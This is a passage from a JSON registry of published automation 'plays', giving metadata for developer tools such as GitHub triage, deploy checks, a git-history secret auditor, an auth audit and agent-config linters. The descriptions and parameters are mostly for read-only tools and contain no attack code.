calls.","owner":{"kind":"user","slug":"rahul"},"registry_organization":"rahul","tags":["github","code-review","pull-requests","review-threads","read-only","typescript"],"primary_domain":"domain-uncategorized","author":"Agruskrrishofficial","version":"0.1.1","published_at":"2026-09-04T16:51:23.07692+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":7203,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":1,"names":["check"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Optional owner/repo to scope the check to a single repository. Default: all repositories the authenticated GitHub user can access."},{"name":"lookback_days","type":"string","required":false,"default":"","description":"Optional lookback window in days limiting how far back candidate pull requests are searched. Default: no lookback limit."},{"name":"mode","type":"string","required":false,"default":"live","description":"Set to \"sample\" to see a demo report with fixture data instead of calling GitHub — useful for a cold start with no relevant review history."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d70ee5b4814f585c84cce253034d149abdae0561155004fc2be1f61a26062cdf","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aaryanp/github-unlabeled-issue-triage@0.0.1","reference":"aaryanp/github-unlabeled-issue-triage@0.0.1","uri":"https://play.modiqo.ai/aaryanp/github-unlabeled-issue-triage@0.0.1","manifest_uri":"https://play.modiqo.ai/aaryanp/github-unlabeled-issue-triage@0.0.1","name":"github-unlabeled-issue-triage","title":"github-unlabeled-issue-triage","description":"Finds open, unlabeled GitHub issues older than N days, applies a triage label to each, and posts a comment asking someone to pick it up.","owner":{"kind":"user","slug":"aaryanp"},"registry_organization":"aaryanp","tags":["typescript","github","triage","explore","aaryanpawar16","agentflow","longer","add","post"],"primary_domain":"domain-uncategorized","author":"aaryanp","version":"0.0.1","published_at":"2026-09-04T16:07:41.653828+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":3991,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":4,"names":["apply_label","auth_github","post_comment","list_open_issues"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner or org"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"days","type":"integer","required":false,"default":0,"description":"Minimum age in days an open issue must have (open longer than this many days) to qualify"},{"name":"label_name","type":"string","required":false,"default":"needs-triage","description":"Label applied to each matching issue. Must already exist on the repo."},{"name":"comment_body","type":"string","required":false,"default":"This issue has no labels yet and has been open for a while. Could someone please pick it up for triage?","description":"Comment body posted on each matching issue"}],"execution":{"adapters":[{"id":"aaryanp/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":["post_comment"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:dccbe0ea237ba2ae9e2ee7eb583bdc0efefaf109bfff72e4ede4894c30d1ff6a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":3,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":1,"for_each_steps":2,"complexity":4,"apis":[{"adapter":"github","steps":4,"methods":["issues/add-labels","issues/create-comment","issues/list-for-repo"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"aaryanp/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":["post_comment"],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":{"api_tokens":18059,"context_tokens":2269,"exploration_ms":5249,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/himanshu-jha/port-collision-map@0.1.1","reference":"himanshu-jha/port-collision-map@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/port-collision-map@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/port-collision-map@0.1.1","name":"port-collision-map","title":"port-collision-map","description":"Joins convention-anchored port declarations with a live local listener snapshot. Listener collection and project traversal run independently, then the join reports cross-project conflicts, already-held declarations, and non-loopback bindings. Project identity is the canonical declaration directory, so same-named folders under different roots do not collapse. Both files read and directories visited have explicit global bounds, and unavailable listener evidence, unreadable or oversized configs, missing roots, and truncated traversal force an INCOMPLETE verdict. Non-loopback bindings are only potential reachability evidence because firewalls and namespaces are outside scope. Read-only: it lists sockets and reads config files, and starts or stops nothing.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-developer-machine","job-port-conflict","tool-lsof","diagnostics","composition"],"primary_domain":"domain-developer-machine","author":"himanshu748","version":"0.1.1","published_at":"2026-09-04T13:38:35.822115+00:00","visibility":"public","quality_score":1,"size_bytes":11595,"license":"MIT","stats":{"downloads":4,"installs":0},"steps":{"count":3,"names":["report","declared","listening"]},"parameters":[{"name":"roots","type":"string","required":false,"default":"~","description":"Comma separated directories to search for port declarations. Naming the folder you keep projects in is much faster than the default of your whole home directory.","example":"~/code"},{"name":"limit","type":"string","required":false,"default":"400","description":"Most config files to read before stopping. Raising it costs time on a large tree.","example":"400"},{"name":"dir_limit","type":"string","required":false,"default":"2000","description":"Maximum directories to visit across all roots. Hitting it marks the result INCOMPLETE.","example":"10000"},{"name":"budget","type":"string","required":false,"default":"15","description":"Maximum seconds spent traversing project configuration. Hitting it marks the result INCOMPLETE.","example":"30"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3064bb60ecfe16dabe5d930c91bc0581856994a4f70ece9e64b9a88572738a33","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dezloper/deploy-reality-check@0.1.4","reference":"dezloper/deploy-reality-check@0.1.4","uri":"https://play.modiqo.ai/dezloper/deploy-reality-check@0.1.4","manifest_uri":"https://play.modiqo.ai/dezloper/deploy-reality-check@0.1.4","name":"deploy-reality-check","title":"deploy-reality-check","description":"Checks that your deployed site really serves what your code says it should. It finds the pages your project declares (Next.js, SvelteKit, Astro, Nuxt, Remix or plain HTML), falls back to the live sitemap when there is no code to read, and opens every page on the live site. It loads the homepage and fetches every image, script and stylesheet the page asks for, which is how it catches files that work on your machine but 404 in production. It works out which stack the host is really running and tells you when the domain is serving a different project. It also checks the www and https redirects and the response headers. If you do not pass a URL it reads your project to find one and tests each candidate before picking. In a monorepo it points you at the app folder instead of checking the root. Read only: it makes GET requests and changes nothing. Useful as an uptime and broken link check after every release: it finds pages that are down or broken in production, images and assets that fail to load from your CDN, and reports the cache headers each response came back with. It reports the observation and the branch context rather than guessing a cause, so seven routes returning 404 on a domain serving a different framework is read as one wrong-site finding, not seven separate bugs.","owner":{"kind":"user","slug":"dezloper"},"registry_organization":"dezloper","tags":["domain-engineering","engineering-workflows","audience-developers","effect-read-only","tool-http","job-deploy-verification","domain-web-operations"],"primary_domain":"domain-engineering","author":"rote clean-room authoring","version":"0.1.4","published_at":"2026-09-04T12:41:26.366723+00:00","visibility":"public","quality_score":1,"size_bytes":25854,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":7,"names":["assess","probe_assets","probe_routes","probe_headers","probe_version","probe_redirects","validate_target"]},"parameters":[{"name":"url","type":"string","required":false,"default":"","description":"The deployed site to check. Discovered from package.json homepage, a CNAME file or a *_SITE_URL entry in .env when omitted.","example":"https://example.com"},{"name":"root","type":"string","required":false,"default":".","description":"Repository to read routes from. Defaults to the directory you run the play from.","example":"apps/web"},{"name":"max_routes","type":"string","required":false,"default":"25","description":"Most routes to probe. Anything beyond this is reported as unchecked, never as passing.","example":"50"},{"name":"max_assets","type":"string","required":false,"default":"30","description":"Most homepage assets to probe.","example":"40"},{"name":"timeout_seconds","type":"string","required":false,"default":"15","description":"Per-request timeout.","example":"15"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:724e96e6caf8ed7d29128fe1088a875d4f951e68fca688a2b81c7c8111905c35","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":5,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/pathan-security/git-history-secret-auditor@1.0.0","reference":"pathan-security/git-history-secret-auditor@1.0.0","uri":"https://play.modiqo.ai/pathan-security/git-history-secret-auditor@1.0.0","manifest_uri":"https://play.modiqo.ai/pathan-security/git-history-secret-auditor@1.0.0","name":"git-history-secret-auditor","title":"git-history-secret-auditor","description":"Scan git commit history for hardcoded credentials, deleted .env secrets, private keys, connection strings, and high-entropy tokens, with every finding redacted to a prefix/suffix fingerprint.","owner":{"kind":"org","slug":"pathan-security"},"registry_organization":"pathan-security","tags":["secret-audit","secret-scan","hardcoded-credentials","git-history","credential-leak","security-audit"],"primary_domain":"domain-uncategorized","author":"Pathananash56","version":"1.0.0","published_at":"2026-09-04T11:02:28.664484+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":8760,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":1,"names":["analyze"]},"parameters":[{"name":"path","type":"string","required":false,"default":".","description":"Target repository path (default: current directory)."},{"name":"depth","type":"integer","required":false,"default":"50","description":"Number of commits to scan; 0 for entire history."},{"name":"entropy_threshold","type":"string","required":false,"default":"3.8","description":"Shannon entropy cutoff (bits per character) for generic secret detection."},{"name":"format","type":"string","required":false,"default":"summary","description":"Output format: summary or json."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:12ce2876be3d48444960c1bfe164112b1cf3a36022b8bf237a96f100d485f140","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/playbookacademy/auth-scan@1.2.1","reference":"playbookacademy/auth-scan@1.2.1","uri":"https://play.modiqo.ai/playbookacademy/auth-scan@1.2.1","manifest_uri":"https://play.modiqo.ai/playbookacademy/auth-scan@1.2.1","name":"auth-scan","title":"auth-scan","description":"Auth security audit for Express/Node.js backends. Scans source for auth files, audits bcrypt hashing (salt rounds, compare usage, plaintext), JWT lifecycle (sign, verify, expiry, env secret, bearer extraction), middleware coverage, and refresh tokens. Returns a deterministic verdict (PASS / PASS_WITH_WARNINGS / FAIL) with a checklist, prioritized recommendations, and evidence. Read-only, no credentials.\n","owner":{"kind":"user","slug":"playbookacademy"},"registry_organization":"playbookacademy","tags":["domain-security","job-auth-audit","audience-developers","effect-read-only","multi-step-dag","value-edges"],"primary_domain":"domain-security","author":"playbookacademy","version":"1.2.1","published_at":"2026-09-04T09:10:10.316353+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":9187,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":5,"names":["audit_jwt","scan_routes","audit_bcrypt","judge_security","audit_middleware"]},"parameters":[{"name":"src","type":"string","required":true,"description":"Path to the backend source directory to audit","example":"./backend/src"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:31d4d1300602c27cd17fde91e1d84b15fd6524f02a745c166ef6b34b92eb4d40","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/playbookacademy/token-audit@1.2.1","reference":"playbookacademy/token-audit@1.2.1","uri":"https://play.modiqo.ai/playbookacademy/token-audit@1.2.1","manifest_uri":"https://play.modiqo.ai/playbookacademy/token-audit@1.2.1","name":"token-audit","title":"token-audit","description":"AI Prompt & Token Budget Auditor. Scans a directory for prompt files, estimates token counts, flags bloat (>4k tokens), and projects monthly API costs across models (GPT-4o, Claude 3.5 Sonnet, etc.). Read-only, no credentials, no auth.\n","owner":{"kind":"user","slug":"playbookacademy"},"registry_organization":"playbookacademy","tags":["domain-ai-ml","job-token-audit","audience-developers","effect-read-only","multi-step-dag","value-edges"],"primary_domain":"domain-ai-ml","author":"playbookacademy","version":"1.2.1","published_at":"2026-09-04T09:10:08.595799+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6668,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":4,"names":["count_tokens","scan_prompts","analyze_budget","generate_report"]},"parameters":[{"name":"dir","type":"string","required":false,"default":".","description":"Directory to scan for prompt files","example":"."},{"name":"max_files","type":"integer","required":false,"default":100,"description":"Maximum files to scan","example":"100"},{"name":"runs_per_day","type":"integer","required":false,"default":1000,"description":"Estimated daily invocations for cost projection","example":"1000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:262fc731c659002565c2567d542b92a67bfb10285d6ad30af18413357fee3a4d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/pathan-security/repo-dependency-graph@1.0.1","reference":"pathan-security/repo-dependency-graph@1.0.1","uri":"https://play.modiqo.ai/pathan-security/repo-dependency-graph@1.0.1","manifest_uri":"https://play.modiqo.ai/pathan-security/repo-dependency-graph@1.0.1","name":"repo-dependency-graph","title":"repo-dependency-graph","description":"Map internal module dependencies, detect circular import cycles (Tarjan SCC), and identify tightly-coupled god files across Python, JS/TS, and Go.","owner":{"kind":"org","slug":"pathan-security"},"registry_organization":"pathan-security","tags":["dependency-graph","circular-imports","architecture","coupling","security-audit"],"primary_domain":"domain-uncategorized","author":"Pathananash56","version":"1.0.1","published_at":"2026-09-04T07:02:14.8277+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":15131,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":1,"names":["analyze"]},"parameters":[{"name":"path","type":"string","required":true,"default":"","description":"Absolute path to the repository to analyze (e.g. pass path=\"$(pwd)\")."},{"name":"exclude","type":"string","required":false,"default":"node_modules,venv,.git,__pycache__,dist,build","description":"Comma-separated glob patterns to ignore."},{"name":"format","type":"string","required":false,"default":"summary","description":"Output format (summary, dot, or json)."},{"name":"max_depth","type":"integer","required":false,"default":"0","description":"Optional recursion depth limit (0 or blank for no limit)."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c27a780a6e8cf4708d3ae5e42bc99a1e5b14aaa2f881cae72adaf5e0d5451830","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ombhojane/heal-agents@0.1.1","reference":"ombhojane/heal-agents@0.1.1","uri":"https://play.modiqo.ai/ombhojane/heal-agents@0.1.1","manifest_uri":"https://play.modiqo.ai/ombhojane/heal-agents@0.1.1","name":"heal-agents","title":"heal-agents","description":"Your CLAUDE.md is probably lying to your agent - commands that no longer exist, files deleted weeks ago, rules that contradict each other. Your agent reads it all, believes every word, and wastes your tokens hitting walls. heal-agents is a 60-second checkup for your repo's agent setup (CLAUDE.md, AGENTS.md, cursor rules, GEMINI.md, MCP + settings). Seven probes run in parallel and check every claim against reality: does each promised command actually exist? does every referenced file still exist - and if not, when exactly did git delete it? is the file so bloated your agent ignores it? any leaked secrets, dangerous permission allowlists, risky hooks, dead MCP servers, or retired model pins? You get one honest verdict - READY, DRIFTING, or ROTTEN - with every finding naming the exact file and the fix. Zero setup, zero risk: no accounts, no API keys, needs only python3, and it never writes or executes anything from your repo - that is why the access card proudly says none all the way down. Run it once to learn the truth; schedule it daily to catch drift the day you cause it.","owner":{"kind":"user","slug":"ombhojane"},"registry_organization":"ombhojane","tags":["agent-ops","effect-read-only","heal","agent-setup","audit","doctor","verdict","repository","drift","claude-md","agents-md","instructions","mcp-config","security"],"primary_domain":"domain-uncategorized","author":"Ombhojane05","version":"0.1.1","published_at":"2026-09-04T05:37:09.932276+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":26293,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":9,"names":["audit_config","lint_hygiene","verify_paths","discover_files","compose_verdict","validate_inputs","verify_commands","check_model_pins","measure_freshness"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Absolute path of the repository to audit","example":"/Users/you/projects/my-app"},{"name":"scope","type":"string","required":false,"default":"project","description":"project audits repo files only; both also scans user-level agent config (names and sizes only, values never read)","values":["project","both"]}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:223b3eb1bebf708244e0186f5f37869a4d28b724667b46f92caf5c1eede3046c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":7,"fan_out":0,"for_each_steps":0,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/allen-saji/rotwatch@0.1.0","reference":"allen-saji/rotwatch@0.1.0","uri":"https://play.modiqo.ai/allen-saji/rotwatch@0.1.0","manifest_uri":"https://play.modiqo.ai/allen-saji/rotwatch@0.1.0","name":"rotwatch","title":"rotwatch","description":"Audits agent skill files for stale CLI commands: flags that were renamed, subcommands that moved, plugins that carry their own commands, help surfaces that changed shape. Rotwatch resolves every command in a skills directory against the CLIs actually installed on YOUR machine — read-only, only --version and --help are executed, nothing is ever written. DETECT classifies every finding (CONFIRMED STALE / NEEDS OPERATOR REVIEW / UNVERIFIABLE) with file, line, and CLI-version evidence; DRAFT proposes a patch only when a replacement is provable from the same help text, so a rename never becomes a silent token swap; APPLY stays a gated, human queue. Run it after every CLI upgrade, or as a daily habit: skill files are frozen local snapshots that no reinstall refreshes correctly — even a freshly installed skill was written against the author's CLI versions, not yours. The installed binary is the only ground truth.","owner":{"kind":"user","slug":"allen-saji"},"registry_organization":"allen-saji","tags":["domain-agent-operations","effect-read-only","audience-developers","developer-tooling"],"primary_domain":"domain-agent-operations","author":"Allen Saji","version":"0.1.0","published_at":"2026-09-03T18:31:48.991898+00:00","visibility":"public","quality_score":0.875,"size_bytes":13800,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":5,"names":["draft_review","locate_skills","probe_binaries","extract_commands","classify_findings"]},"parameters":[{"name":"dir","type":"string","required":false,"default":"~/.codex/skills","description":"Agent skills directory to audit (works for any harness: ~/.codex/skills, ~/.claude/skills, ~/.agents/skills, or a project's skills/)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:add1bd9cdfee24250ed9bb17441dce0789be1b72dc5444823b73556ee26f1c9d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":1,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ashutoshd/review-staged-changes@0.1.0","reference":"ashutoshd/review-staged-changes@0.1.0","uri":"https://play.modiqo.ai/ashutoshd/review-staged-changes@0.1.0","manifest_uri":"https://play.modiqo.ai/ashutoshd/review-staged-changes@0.1.0","name":"review-staged-changes","title":"review-staged-changes","description":"What are you actually about to commit? Reads the diff you have staged and names the things you did not mean to ship: a merge conflict marker that survived, a leftover console.log or pdb.set_trace, an it.only that silently de-selected every sibling test in its file, a literal shaped like an AWS key or a Stripe token, a .env or .pem that wandered into the change set, a lockfile that moved without its manifest, and the TODO you just added. Nothing is a finding unless it sits on a line you ADDED, because a warning about code you did not touch is a warning you learn to mute, and that is how pre-commit checks die. Secret-shaped values are masked in the printed evidence so the report cannot itself become the leak, and they are labelled shaped like a credential rather than is a credential, because a regular expression cannot prove that and should not pretend to. It also measures the payload: file count, lines added and removed, which single file dominates the diff, and an honest reviewability bucket. With no arguments and no repository it reviews a bundled demo diff, so a stranger gets a real verdict from an empty directory instead of an error. Reads git and nothing else: no network call, no file written, nothing staged, nothing committed, no credential carried. Needs only git and python3.","owner":{"kind":"user","slug":"ashutoshd"},"registry_organization":"ashutoshd","tags":["domain-engineering","engineering-workflows","job-pre-commit-review","tool-git","audience-developers","effect-read-only"],"primary_domain":"domain-engineering","author":"ashutoshd","version":"0.1.0","published_at":"2026-09-03T12:12:11.62123+00:00","visibility":"public","quality_score":1,"size_bytes":12416,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":4,"names":["verdict","payload_stats","resolve_scope","review_added_lines"]},"parameters":[{"name":"repo","type":"string","required":false,"default":".","description":"Path to the git repository to review. Outside a repository the bundled demo diff is reviewed.","example":"."},{"name":"ref","type":"string","required":false,"default":"STAGED","description":"STAGED reviews the index; any other revision such as HEAD reviews that commit","example":"HEAD"},{"name":"max_files","type":"string","required":false,"default":"200","description":"Cap on files inspected before partial coverage is reported","example":"500"},{"name":"include_todo","type":"string","required":false,"default":"true","description":"Report TODO, FIXME, XXX and HACK markers on lines you added","example":"false"},{"name":"mask_secrets","type":"string","required":false,"default":"true","description":"Mask secret-shaped values in printed evidence so the report is not itself a leak","example":"false"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f77f4787f6bcd7b0bf0bdfd9f511851e4a31e94abeb9169d77e1bf147922b710","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/pateldharmik4701/website-launch-check@0.1.1","reference":"pateldharmik4701/website-launch-check@0.1.1","uri":"https://play.modiqo.ai/pateldharmik4701/website-launch-check@0.1.1","manifest_uri":"https://play.modiqo.ai/pateldharmik4701/website-launch-check@0.1.1","name":"website-launch-check","title":"website-launch-check","description":"Check a website's HTTP availability and page title.","owner":{"kind":"user","slug":"pateldharmik4701"},"registry_organization":"pateldharmik4701","tags":["website","monitoring"],"primary_domain":"domain-uncategorized","author":"Pateldharmik4701","version":"0.1.1","published_at":"2026-09-03T03:45:37.664079+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":1542,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":2,"names":["sh","sh_2"]},"parameters":[{"name":"url","type":"string","required":true,"description":"Play parameter"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d9a7ffe87b5b2dfd57d883ff8c97f62ebbee40ac5729c8222226a0e96441726e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"curl","kind":"tool","source":"inferred","count":2},{"name":"sh","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/harshitborana75/commitment-capacity-check@0.0.1","reference":"harshitborana75/commitment-capacity-check@0.0.1","uri":"https://play.modiqo.ai/harshitborana75/commitment-capacity-check@0.0.1","manifest_uri":"https://play.modiqo.ai/harshitborana75/commitment-capacity-check@0.0.1","name":"commitment-capacity-check","title":"commitment-capacity-check","description":"Detect dated commitments made in sent Gmail/Slack messages colliding with Google Calendar capacity, travel buffers, focus blocks, or Google Tasks due dates.","owner":{"kind":"user","slug":"harshitborana75"},"registry_organization":"harshitborana75","tags":["typescript","gmail","slack","calendar","tasks","commitments","capacity","scheduling"],"primary_domain":"domain-uncategorized","author":"harshitborana75","version":"0.0.1","published_at":"2026-09-03T02:16:04.519537+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5640,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":1,"names":["calc_init"]},"parameters":[{"name":"time_window","type":"string","required":false,"default":"2026-09-03 to 2026-09-17","description":"Time window under review (YYYY-MM-DD to YYYY-MM-DD)"},{"name":"daily_working_hours","type":"string","required":false,"default":"8.0","description":"Available daily working hours capacity (default: 8.0)"},{"name":"travel_buffer_minutes","type":"string","required":false,"default":"30","description":"Travel buffer in minutes before/after non-remote calendar events (default: 30)"},{"name":"commitments_input","type":"string","required":false,"description":"JSON array of sent commitments e.g. '[{\"id\":\"gmail:sent:101\",\"source\":\"Gmail (Sent)\",\"date\":\"2026-09-04\",\"text\":\"I will deliver the API spec by Friday afternoon\",\"type\":\"deliverable\",\"est_hours\":2.0}]'"},{"name":"calendar_input","type":"string","required":false,"description":"JSON array of calendar events e.g. '[{\"id\":\"cal:201\",\"title\":\"Client Architecture Review\",\"date\":\"2026-09-04\",\"duration_hours\":3.0,\"is_remote\":false,\"location\":\"Downtown 